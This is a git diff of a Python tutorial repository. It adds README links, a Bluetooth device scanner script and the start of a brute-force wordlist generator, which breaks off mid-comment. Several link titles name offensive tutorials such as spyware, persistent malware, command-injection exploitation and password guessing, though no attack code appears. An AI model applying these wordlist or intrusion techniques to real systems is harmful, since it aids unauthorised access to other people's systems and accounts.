diff --git a/README.md b/README.md index 193a55bb..ddf5f25d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,13 @@ - +
+ + + # Python Code Tutorials This is a repository of all the tutorials of [The Python Code](https://www.thepythoncode.com) website. ## List of Tutorials @@ -16,6 +25,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Build a WiFi Scanner in Python using Scapy](https://www.thepythoncode.com/article/building-wifi-scanner-in-python-scapy). ([code](scapy/wifi-scanner)) - [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python). ([code](scapy/syn-flood)) - [How to Inject Code into HTTP Responses in the Network in Python](https://www.thepythoncode.com/article/injecting-code-to-html-in-a-network-scapy-python). ([code](scapy/http-code-injector/)) + - [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy). ([code](scapy/ip-spoofer)) + - [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python). ([code](scapy/uncover-hidden-wifis)) + - [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python). ([code](scapy/crafting-packets)) - [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger)) - [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner)) - [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell)) @@ -40,6 +52,36 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python). ([code](ethical-hacking/ransomware)) - [How to Perform DNS Enumeration in Python](https://www.thepythoncode.com/article/dns-enumeration-with-python). ([code](ethical-hacking/dns-enumeration)) - [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python). ([code](ethical-hacking/geolocating-ip-addresses)) + - [How to Crack Hashes in Python](https://thepythoncode.com/article/crack-hashes-in-python). ([code](ethical-hacking/hash-cracker)) + - [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python). ([code](ethical-hacking/phone-number-tracker)) + - [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python). ([code](ethical-hacking/login-password-guesser)) + - [How to Build a Password Manager in Python](https://thepythoncode.com/article/build-a-password-manager-in-python). ([code](ethical-hacking/password-manager)) + - [How to List Wi-Fi Networks in Python](https://thepythoncode.com/article/list-nearby-wifi-networks-with-python). ([code](ethical-hacking/listing-wifi-networks)) + - [How to Verify File Integrity in Python](https://thepythoncode.com/article/verify-downloaded-files-with-checksum-in-python). ([code](ethical-hacking/verify-file-integrity)) + - [How to Create a Zip File Locker in Python](https://thepythoncode.com/article/build-a-zip-file-locker-in-python). ([code](ethical-hacking/zip-file-locker)) + - [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher)) + - [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python). ([code](ethical-hacking/caesar-cipher)) + - [How to Lock PDFs in Python](https://thepythoncode.com/article/lock-pdfs-in-python). [(code)](ethical-hacking/pdf-locker) + - [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python). ([code](ethical-hacking/bruteforce-wordlist-generator)) + - [How to Implement the Affine Cipher in Python](https://thepythoncode.com/article/how-to-implement-affine-cipher-in-python). ([code](ethical-hacking/implement-affine-cipher)) + - [How to Crack the Affine Cipher in Python](https://thepythoncode.com/article/how-to-crack-the-affine-cipher-in-python). ([code](ethical-hacking/crack-affine-cipher)) + - [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher)) + - [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator)) + - [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner)) + - [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb)) + - [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python). ([code](ethical-hacking/implement-2fa)) + - [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python). ([code](ethical-hacking/username-finder)) + - [How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python). ([code](ethical-hacking/find-past-wifi-connections-on-windows)) + - [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python). ([code](ethical-hacking/pdf-metadata-remover)) + - [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor)) + - [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware)) + - [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python). ([code](ethical-hacking/exploit-command-injection)) + - [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python). ([code](ethical-hacking/persistent-malware)) + - [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python). ([code](ethical-hacking/remove-persistent-malware)) + - [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python). ([code](ethical-hacking/checking-password-strength)) + - [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python). ([code](ethical-hacking/reverse-dns-lookup)) + - [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python). ([code](ethical-hacking/clickjacking-scanner)) + - [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python). ([code](ethical-hacking/custom-netcat/)) - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning) - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp) @@ -58,6 +100,11 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python). ([code](machine-learning/nlp/fake-news-classification)) - [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy). ([code](machine-learning/nlp/named-entity-recognition)) - [Tokenization, Stemming, and Lemmatization in Python](https://www.thepythoncode.com/article/tokenization-stemming-and-lemmatization-in-python). ([code](machine-learning/nlp/tokenization-stemming-lemmatization)) + - [How to Fine Tune BERT for Semantic Textual Similarity using Transformers in Python](https://www.thepythoncode.com/article/finetune-bert-for-semantic-textual-similarity-in-python). ([code](machine-learning/nlp/semantic-textual-similarity)) + - [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python). ([code](machine-learning/nlp/bleu-score)) + - [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python). ([code](machine-learning/nlp/wer-score)) + - [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python). ([code](machine-learning/nlp/rouge-score)) + - [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python). ([code](machine-learning/visual-question-answering)) - ### [Computer Vision](https://www.thepythoncode.com/topic/computer-vision) - [How to Detect Human Faces in Python using OpenCV](https://www.thepythoncode.com/article/detect-faces-opencv-python). ([code](machine-learning/face_detection)) - [How to Make an Image Classifier in Python using TensorFlow and Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier)) @@ -83,6 +130,13 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Generate Images from Text using Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-from-text-stable-diffusion-python). ([code](machine-learning/stable-diffusion-models)) - [How to Perform Image to Image Generation with Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-using-depth-to-image-huggingface-python). ([code](machine-learning/depth2image-stable-diffusion)) - [Real-time Object Tracking with OpenCV and YOLOv8 in Python](https://www.thepythoncode.com/article/real-time-object-tracking-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Object-Tracking-with-DeepSORT-and-YOLOv8)) + - [How to Control the Generated Images by diffusion models via ControlNet in Python](https://www.thepythoncode.com/article/control-generated-images-with-controlnet-with-huggingface). ([code](machine-learning/control-image-generation-with-controlnet)) + - [How to Edit Images using InstructPix2Pix in Python](https://www.thepythoncode.com/article/edit-images-using-instruct-pix2pix-with-huggingface). ([code](machine-learning/edit-images-instruct-pix2pix)) + - [How to Upscale Images using Stable Diffusion in Python](https://www.thepythoncode.com/article/upscale-images-using-stable-diffusion-x4-upscaler-huggingface). ([code](machine-learning/stable-diffusion-upscaler)) + - [Real-Time Vehicle Detection, Tracking and Counting in Python](https://thepythoncode.com/article/real-time-vehicle-tracking-and-counting-with-yolov8-opencv). ([code](https://github.com/python-dontrepeatyourself/Real-Time-Vehicle-Detection-Tracking-and-Counting-in-Python/)) + - [How to Cartoonify Images in Python](https://thepythoncode.com/article/make-a-cartoonifier-with-opencv-in-python). ([code](machine-learning/cartoonify-images)) + - [How to Make a Facial Recognition System in Python](https://thepythoncode.com/article/create-a-facial-recognition-system-in-python). ([code](machine-learning/facial-recognition-system)) + - [Non-Maximum Suppression with OpenCV and Python](https://thepythoncode.com/article/non-maximum-suppression-using-opencv-in-python). ([code](https://github.com/Rouizi/Non-Maximum-Suppression-with-OpenCV-and-Python)) - [Building a Speech Emotion Recognizer using Scikit-learn](https://www.thepythoncode.com/article/building-a-speech-emotion-recognizer-using-sklearn). ([code](machine-learning/speech-emotion-recognition)) - [How to Convert Speech to Text in Python](https://www.thepythoncode.com/article/using-speech-recognition-to-convert-speech-to-text-python). ([code](machine-learning/speech-recognition)) - [Top 8 Python Libraries For Data Scientists and Machine Learning Engineers](https://www.thepythoncode.com/article/top-python-libraries-for-data-scientists). @@ -107,6 +161,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Autoencoders for Dimensionality Reduction using TensorFlow in Python](https://www.thepythoncode.com/article/feature-extraction-dimensionality-reduction-autoencoders-python-keras). ([code](machine-learning/feature-extraction-autoencoders)) - [Exploring the Different Types of Clustering Algorithms in Machine Learning with Python](https://www.thepythoncode.com/article/clustering-algorithms-in-machine-learning-with-python). ([code](machine-learning/clustering-algorithms)) - [Image Captioning using PyTorch and Transformers](https://www.thepythoncode.com/article/image-captioning-with-pytorch-and-transformers-in-python). ([code](machine-learning/image-captioning)) + - [Speech Recognition in Python](https://www.thepythoncode.com/article/speech-recognition-in-python). ([code](machine-learning/asr)) - ### [General Python Topics](https://www.thepythoncode.com/topic/general-python-topics) - [How to Make Facebook Messenger bot in Python](https://www.thepythoncode.com/article/make-bot-fbchat-python). ([code](general/messenger-bot)) @@ -126,13 +181,13 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make a Simple Math Quiz Game in Python](https://www.thepythoncode.com/article/make-a-simple-math-quiz-game-in-python). ([code](general/simple-math-game)) - [How to Make a Network Usage Monitor in Python](https://www.thepythoncode.com/article/make-a-network-usage-monitor-in-python). ([code](general/network-usage)) - [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python). ([code](general/docx-file-replacer)) - - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game)) - [Zipf's Word Frequency Plot with Python](https://www.thepythoncode.com/article/plot-zipfs-law-using-matplotlib-python). ([code](general/zipf-curve)) - [How to Plot Weather Temperature in Python](https://www.thepythoncode.com/article/interactive-weather-plot-with-matplotlib-and-requests). ([code](general/interactive-weather-plot/)) - [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python). ([code](general/generate-svg-country-map)) - [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum)) - [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas)) - [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css)) + - [Build a real MCP client and server in Python with FastMCP (Todo Manager example)](https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager). ([code](general/fastmcp-mcp-client-server-todo-manager)) @@ -155,6 +210,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python). ([code](web-scraping/extract-google-trends-data)) - [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python). ([code](web-scraping/youtube-video-downloader)) - [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python). ([code](web-scraping/youtube-mp3-downloader)) + - [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python). ([code](web-scraping/youtube-transcript-summarizer/)) - ### [Python Standard Library](https://www.thepythoncode.com/topic/python-standard-library) - [How to Transfer Files in the Network using Sockets in Python](https://www.thepythoncode.com/article/send-receive-files-using-sockets-python). ([code](general/transfer-files/)) @@ -179,6 +235,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Print Variable Name and Value in Python](https://www.thepythoncode.com/article/print-variable-name-and-value-in-python). ([code](python-standard-library/print-variable-name-and-value)) - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game)) - [How to Use the Argparse Module in Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python). ([code](python-standard-library/argparse)) + - [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python). ([code](python-standard-library/grep-clone)) + - [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python). ([code](python-standard-library/credit-card-validation)) + - [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python). ([code](python-standard-library/tcp-proxy)) - ### [Using APIs](https://www.thepythoncode.com/topic/using-apis-in-python) - [How to Automate your VPS or Dedicated Server Management in Python](https://www.thepythoncode.com/article/automate-veesp-server-management-in-python). ([code](general/automating-server-management)) @@ -194,6 +253,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Use YouTube API in Python](https://www.thepythoncode.com/article/using-youtube-api-in-python). ([code](general/youtube-api)) - [Webhooks in Python with Flask](https://www.thepythoncode.com/article/webhooks-in-python-with-flask). ([code](https://github.com/bassemmarji/Flask_Webhook)) - [How to Make a Language Detector in Python](https://www.thepythoncode.com/article/language-detector-in-python). ([code](general/language-detector)) + - [How to Build a Twitter (X) Bot in Python](https://thepythoncode.com/article/make-a-twitter-bot-in-python). ([code](https://github.com/menard-codes/dog-fact-tweeter-bot)) - ### [Database](https://www.thepythoncode.com/topic/using-databases-in-python) - [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python). ([code](database/mysql-connector)) @@ -234,6 +294,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Record a Specific Window in Python](https://www.thepythoncode.com/article/record-a-specific-window-in-python). ([code](python-for-multimedia/record-specific-window)) - [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python). ([code](python-for-multimedia/add-audio-to-video)) - [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python). ([code](python-for-multimedia/compress-image)) + - [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python). ([code](python-for-multimedia/remove-metadata-from-images)) + - [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python). ([code](python-for-multimedia/create-video-from-images)) + - [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python). ([code](python-for-multimedia/recover-deleted-files)) - ### [Web Programming](https://www.thepythoncode.com/topic/web-programming) - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions)) @@ -250,15 +313,16 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make an Accounting App with Django in Python](https://www.thepythoncode.com/article/make-an-accounting-app-with-django-in-python). ([code](web-programming/accounting-app)) - [How to Build a News Site API with Django Rest Framework in Python](https://www.thepythoncode.com/article/a-news-site-api-with-django-python). ([code](web-programming/news_project)) - [How to Create a RESTful API with Flask in Python](https://www.thepythoncode.com/article/create-a-restful-api-with-flask-in-python). ([code](web-programming/restful-api-flask)) + - [How to Build a GraphQL API in Python](https://www.thepythoncode.com/article/build-a-graphql-api-with-fastapi-strawberry-and-postgres-python). ([code](https://github.com/menard-codes/PythonGQLArticle)) + - [How to Build a Chat App using Flask in Python](https://thepythoncode.com/article/how-to-build-a-chat-app-in-python-using-flask-and-flasksocketio). ([code](https://github.com/menard-codes/FlaskChatApp)) + - [How to Build a Full-Stack Web App in Python using FastAPI and React.js](https://thepythoncode.com/article/fullstack-notes-app-with-fastapi-and-reactjs) ([Backend](https://github.com/menard-codes/NotesAppBackend-FastAPI-React), [Frontend](https://github.com/menard-codes/NotesAppFrontend-FastAPI-React)) - ### [GUI Programming](https://www.thepythoncode.com/topic/gui-programming) - [How to Make a Text Editor using Tkinter in Python](https://www.thepythoncode.com/article/text-editor-using-tkinter-python). ([code](gui-programming/text-editor)) - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) - - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame)) - [How to Make a File Explorer using Tkinter in Python](https://www.thepythoncode.com/article/create-a-simple-file-explorer-using-tkinter-in-python). ([code](gui-programming/file-explorer)) - [How to Make a Calculator with Tkinter in Python](https://www.thepythoncode.com/article/make-a-calculator-app-using-tkinter-in-python). ([code](gui-programming/calculator-app)) - [How to Make a Typing Speed Tester with Tkinter in Python](https://www.thepythoncode.com/article/how-to-make-typing-speed-tester-in-python-using-tkinter). ([code](gui-programming/type-speed-tester)) - - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator)) - [How to Make a Markdown Editor using Tkinter in Python](https://www.thepythoncode.com/article/markdown-editor-with-tkinter-in-python). ([code](gui-programming/markdown-editor)) - [How to Build a GUI Currency Converter using Tkinter in Python](https://www.thepythoncode.com/article/currency-converter-gui-using-tkinter-python). ([code](gui-programming/currency-converter-gui/)) - [How to Detect Gender by Name using Python](https://www.thepythoncode.com/article/gender-predictor-gui-app-tkinter-genderize-api-python). ([code](gui-programming/genderize-app)) @@ -268,12 +332,35 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Make an Age Calculator in Python](https://www.thepythoncode.com/article/age-calculator-using-tkinter-python). ([code](gui-programming/age-calculator)) - [How to Create an Alarm Clock App using Tkinter in Python](https://www.thepythoncode.com/article/build-an-alarm-clock-app-using-tkinter-python). ([code](gui-programming/alarm-clock-app)) - [How to Build a GUI Voice Recorder App in Python](https://www.thepythoncode.com/article/make-a-gui-voice-recorder-python). ([code](gui-programming/voice-recorder-app)) - - [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python). ([code](gui-programming/chess-game)) - [How to Build a GUI QR Code Generator and Detector Using Python](https://www.thepythoncode.com/article/make-a-qr-code-generator-and-reader-tkinter-python). ([code](gui-programming/qrcode-generator-reader-gui)) - [How to Build a GUI Dictionary App with Tkinter in Python](https://www.thepythoncode.com/article/make-a-gui-audio-dictionary-python). ([code](gui-programming/word-dictionary-with-audio)) - [How to Make a Real-Time GUI Spelling Checker in Python](https://www.thepythoncode.com/article/make-a-realtime-spelling-checker-gui-python). ([code](gui-programming/realtime-spelling-checker)) + - [How to Build a GUI Language Translator App in Python](https://www.thepythoncode.com/article/build-a-gui-language-translator-tkinter-python). ([code](gui-programming/gui-language-translator)) + - [How to Make an Image Editor in Python](https://www.thepythoncode.com/article/make-an-image-editor-in-tkinter-python). ([code](gui-programming/image-editor)) + - [How to Build a CRUD App with PyQt5 and SQLite3 in Python](https://thepythoncode.com/article/build-a-crud-app-using-pyqt5-and-sqlite3-in-python). ([code](gui-programming/crud-app-pyqt5)) + +- ### [Game Development](https://www.thepythoncode.com/topic/game-development) + - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) + - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame)) + - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator)) + - [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python). ([code](gui-programming/chess-game)) - [How to Create a GUI Hangman Game using PyGame in Python](https://www.thepythoncode.com/article/hangman-gui-game-with-pygame-in-python). ([code](gui-programming/hangman-game-gui)) + - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game)) + - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game)) - [How to Make a Tetris Game using PyGame in Python](https://www.thepythoncode.com/article/create-a-tetris-game-with-pygame-in-python). ([code](gui-programming/tetris-game)) - [How to Build a Tic Tac Toe Game in Python](https://www.thepythoncode.com/article/make-a-tic-tac-toe-game-pygame-in-python). ([code](gui-programming/tictactoe-game)) + - [How to Make a Checkers Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-checkers-game-with-pygame-in-python). ([code](gui-programming/checkers-game)) + - [How to Make a Snake Game in Python](https://www.thepythoncode.com/article/make-a-snake-game-with-pygame-in-python). ([code](gui-programming/snake-game)) + - [How to Create a Slide Puzzle Game in Python](https://www.thepythoncode.com/article/slide-puzzle-game-in-python). ([code](gui-programming/slide-puzzle)) + - [How to Make a Maze Game in Python](https://www.thepythoncode.com/article/build-a-maze-game-in-python). ([code](gui-programming/maze-game)) + - [How to Create a Platformer Game in Python](https://www.thepythoncode.com/article/platformer-game-with-pygame-in-python). ([code](gui-programming/platformer-game)) + - [How to Make a Flappy Bird Game in Python](https://thepythoncode.com/article/make-a-flappy-bird-game-python). ([code](gui-programming/flappy-bird-game)) + - [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python). ([code](gui-programming/pong-game)) + - [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python). ([code](gui-programming/space-invaders-game)) + - [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python). ([code](gui-programming/sudoku-game)) + - [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python). ([code](gui-programming/pacman-game)) + - [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame). ([code](gui-programming/adding-sound-effects-to-games)) + - [How to Build a Breakout Game with PyGame in Python](https://thepythoncode.com/article/breakout-game-pygame-in-python). ([code](https://github.com/Omotunde2005/Breakout_with_pygame)) + For any feedback, please consider pulling requests. diff --git a/ethical-hacking/bluetooth-scanner/README.md b/ethical-hacking/bluetooth-scanner/README.md new file mode 100644 index 00000000..c8b19deb --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/README.md @@ -0,0 +1 @@ +# [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python) \ No newline at end of file diff --git a/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py new file mode 100644 index 00000000..2945c767 --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py @@ -0,0 +1,85 @@ +import bluetooth + +# Major and Minor Device Class definitions based on Bluetooth specifications +MAJOR_CLASSES = { + 0: "Miscellaneous", + 1: "Computer", + 2: "Phone", + 3: "LAN/Network Access", + 4: "Audio/Video", + 5: "Peripheral", + 6: "Imaging", + 7: "Wearable", + 8: "Toy", + 9: "Health", + 10: "Uncategorized" +} + +MINOR_CLASSES = { + # Computer Major Class + (1, 0): "Uncategorized Computer", (1, 1): "Desktop Workstation", + (1, 2): "Server-class Computer", (1, 3): "Laptop", (1, 4): "Handheld PC/PDA", + (1, 5): "Palm-sized PC/PDA", (1, 6): "Wearable computer", + # Phone Major Class + (2, 0): "Uncategorized Phone", (2, 1): "Cellular", (2, 2): "Cordless", + (2, 3): "Smartphone", (2, 4): "Wired modem or voice gateway", + (2, 5): "Common ISDN Access", + # LAN/Network Access Major Class + (3, 0): "Fully available", (3, 1): "1% to 17% utilized", + (3, 2): "17% to 33% utilized", (3, 3): "33% to 50% utilized", + (3, 4): "50% to 67% utilized", (3, 5): "67% to 83% utilized", + (3, 6): "83% to 99% utilized", (3, 7): "No service available", + # Audio/Video Major Class + (4, 0): "Uncategorized A/V", (4, 1): "Wearable Headset", (4, 2): "Hands-free Device", + (4, 3): "Microphone", (4, 4): "Loudspeaker", (4, 5): "Headphones", (4, 6): "Portable Audio", + (4, 7): "Car audio", (4, 8): "Set-top box", (4, 9): "HiFi Audio Device", + (4, 10): "VCR", (4, 11): "Video Camera", (4, 12): "Camcorder", + (4, 13): "Video Monitor", (4, 14): "Video Display and Loudspeaker", + (4, 15): "Video Conferencing", (4, 16): "Gaming/Toy", + # Peripheral Major Class + (5, 0): "Not Keyboard/Not Pointing Device", (5, 1): "Keyboard", + (5, 2): "Pointing device", (5, 3): "Combo Keyboard/Pointing device", + # Imaging Major Class + (6, 0): "Display", (6, 1): "Camera", (6, 2): "Scanner", (6, 3): "Printer", + # Wearable Major Class + (7, 0): "Wristwatch", (7, 1): "Pager", (7, 2): "Jacket", + (7, 3): "Helmet", (7, 4): "Glasses", + # Toy Major Class + (8, 0): "Robot", (8, 1): "Vehicle", + (8, 2): "Doll / Action figure", + (8, 3): "Controller", (8, 4): "Game", + # Health Major Class + (9, 0): "Undefined", (9, 1): "Blood Pressure Monitor", + (9, 2): "Thermometer", (9, 3): "Weighing Scale", + (9, 4): "Glucose Meter", (9, 5): "Pulse Oximeter", + (9, 6): "Heart/Pulse Rate Monitor", (9, 7): "Health Data Display", + (9, 8): "Step Counter", (9, 9): "Body Composition Analyzer", + (9, 10): "Peak Flow Monitor", (9, 11): "Medication Monitor", + (9, 12): "Knee Prosthesis", (9, 13): "Ankle Prosthesis", + # More specific definitions can be added if needed +} + +def parse_device_class(device_class): + major = (device_class >> 8) & 0x1F # divide by 2**8 and mask with 0x1F (take the last 5 bits) + minor = (device_class >> 2) & 0x3F # divide by 2**2 and mask with 0x3F (take the last 6 bits) + major_class_name = MAJOR_CLASSES.get(major, "Unknown Major Class") + minor_class_key = (major, minor) + minor_class_name = MINOR_CLASSES.get(minor_class_key, "Unknown Minor Class") + return major_class_name, minor_class_name + + +def scan_bluetooth_devices(): + try: + discovered_devices = bluetooth.discover_devices(duration=8, lookup_names=True, lookup_class=True) + print('[!] Scanning for Bluetooth devices...') + print(f"[!] Found {len(discovered_devices)} Devices") + for addr, name, device_class in discovered_devices: + major_class, minor_class = parse_device_class(device_class) + print(f"[+] Device Name: {name}") + print(f" Address: {addr}") + print(f" Device Class: {device_class} ({major_class}, {minor_class})") + except Exception as e: + print(f"[ERROR] An error occurred: {e}") + +if __name__ == "__main__": + scan_bluetooth_devices() diff --git a/ethical-hacking/bluetooth-scanner/requirements.txt b/ethical-hacking/bluetooth-scanner/requirements.txt new file mode 100644 index 00000000..0c35f5ce --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/requirements.txt @@ -0,0 +1 @@ +pybluez2 \ No newline at end of file diff --git a/ethical-hacking/bruteforce-wordlist-generator/README.md b/ethical-hacking/bruteforce-wordlist-generator/README.md new file mode 100644 index 00000000..7a2e8b50 --- /dev/null +++ b/ethical-hacking/bruteforce-wordlist-generator/README.md @@ -0,0 +1 @@ +# [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python) \ No newline at end of file diff --git a/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py new file mode 100644 index 00000000..13f2b1f7 --- /dev/null +++ b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py @@ -0,0 +1,36 @@ +# Import the argparse module for handling command line arguments. +# Import the itertools module for generating combinations. +import argparse, itertools + + +# Define a function to generate a wordlist based on given parameters. +def generate_wordlist(characters, min_length, max_length, output_file): + # Open the output file in write mode. + with open(output_file, 'w') as file: + # Iterate over the range of word lengths from min_length to max_length. + for length in range(min_length, max_length + 1): + # Generate all possible combinations of characters with the given length. + for combination in itertools.product(characters, repeat=length): + # Join the characters 